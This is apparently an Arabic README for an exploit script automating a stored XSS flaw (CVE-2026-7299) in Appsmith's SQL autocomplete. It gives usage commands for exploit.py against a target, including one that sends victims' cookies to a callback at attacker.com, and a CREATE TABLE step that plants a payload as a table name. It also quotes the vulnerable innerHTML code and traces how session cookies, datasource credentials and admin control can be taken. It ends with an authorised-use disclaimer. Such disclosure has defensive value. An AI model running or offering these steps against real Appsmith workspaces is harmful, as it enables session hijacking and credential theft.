
أتمتة استغلال CVE-2026-7299 - XSS مخزنة عبر أسماء جداول/أعمدة قاعدة البيانات في الإكمال التلقائي لـ SQL داخل Appsmith =>1.99. الاكتشاف الأولي 30/03/26
استغلال آلي لثغرة XSS مخزنة في محرر استعلامات SQL الخاص بـ Appsmith. يمكن لمطوّر (Developer) في مساحة العمل حقن كود JavaScript عشوائي عبر أسماء جداول قاعدة البيانات، ويتم تنفيذه في متصفح أي عضو آخر في مساحة العمل عند تشغيل الإكمال التلقائي لاستعلامات SQL.
تم تأكيد الثغرة على Appsmith v1.98 ومن المرجح أنها تؤثر على جميع الإصدارات السابقة التي تحتوي على مُقدّم التلميحات المخصص لاستعلامات SQL. توجد الثغرة في hintHelpers.ts:165 حيث يتم تجاوز العرض الافتراضي الآمن للتلميحات في CodeMirror (textContent) باستدعاء render مخصص يستخدم innerHTML لعرض أسماء جداول وأعمدة قاعدة البيانات دون أي تعقيم (Sanitisation).
إثبات مفهوم (PoC) لتنبيه أساسي:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
تهريب ملفات تعريف الارتباط (Cookies) إلى خادم رد الاتصال:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
حمولة مخصصة (Payload):
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
إذا لم يكن هناك مصدر بيانات PostgreSQL موجودًا بعد، يكتشف السكربت الاتصالات تلقائيًا، أو يمكنك توفير بيانات الاعتماد (Credentials):
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres
https://www.youtube.com/watch?v=1RHBYZ2Bp_A
Appsmith عبارة عن منصة مفتوحة المصدر منخفضة الكود (Low-Code) يبني من خلالها الفرق أدوات داخلية عبر ربط مصادر البيانات وكتابة الاستعلامات. يوفر محرر استعلامات SQL اقتراحات الإكمال التلقائي المستمدة من بيانات تعريف الجداول والأعمدة في قاعدة البيانات المتصلة.
يستخدم عرض الإكمال التلقائي في hintHelpers.ts استدعاء render مخصصًا من CodeMirror:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- unsanitized table/column name
};
يستخدم العرض الافتراضي للتلميحات في CodeMirror 5 الخاصية textContent (آمنة). يتجاوز Appsmith هذا السلوك باستخدام innerHTML لإضافة فئات CSS مخصصة وخصائص أيقونات لأغراض التنسيق، لكن محتوى النص الفعلي (اسم الجدول) يُعيَّن كـ HTML خام. لا يوجد أي تعقيم (Sanitisation) في أي نقطة ضمن تدفق البيانات المكوَّن من 8 خطوات بدءًا من كتالوج قاعدة البيانات وصولًا إلى عرض DOM.
يتم تنفيذ الهجوم بالكامل من خلال واجهة الويب الخاصة بـ Appsmith.
يقوم المهاجم (مطوّر في مساحة العمل) بتنفيذ عبارة CREATE TABLE تحتوي على حمولة XSS كاسم للجدول. لا يقوم PostgresPlugin في Appsmith بأي تصفية لعبارات DDL، حيث يقبل statement.execute(query) أي SQL صالح بما في ذلك DDL.
CREATE TABLE "" (id serial primary key);
يفتح أي عضو آخر في مساحة العمل محرر استعلامات SQL لنفس مصدر البيانات ويبدأ بكتابة استعلام. تظهر القائمة المنسدلة للإكمال التلقائي مع اقتراحات أسماء الجداول المستخرجة من بيانات تعريف قاعدة البيانات. يتم عرض اسم الجدول الخبيث عبر innerHTML، مما ينفّذ حمولة JavaScript في جلسة متصفح الضحية.
يعمل كود XSS في سياق تطبيق Appsmith مع جلسة الضحية. يمكن للمهاجم سرقة ملفات تعريف الارتباط الخاصة بالجلسة (XSRF-TOKEN, SESSION)، أو تهريب بيانات اعتماد مصدر البيانات، أو تنفيذ استدعاءات API باسم الضحية. إذا كانت الضحية مسؤولًا (Admin)، يرقّي المهاجم سيطرته إلى السيطرة الكاملة على مساحة العمل.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [no sanitisation]
-> DatasourceStructure Java POJO [no sanitisation]
-> REST API /api/v1/datasources/{id}/structure [no sanitisation]
-> Redux state.entities.datasources [no sanitisation]
-> getAllDatasourceTableKeys selector [no sanitisation]
-> SqlHintHelper.setDatasourceTableKeys() [no sanitisation]
-> CodeMirror hint.sql() completions [no sanitisation]
-> LiElement.innerHTML = text [XSS]
لا يوجد أي تعقيم (Sanitisation)، حيث يتم عرض الحمولة عبر innerHTML وتنفيذها داخل DOM فور استدعائها من قِبل مُقدّم الإكمال التلقائي.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165تم توفير هذه الأداة لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. لا أتحمل أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
اختراق سعيد!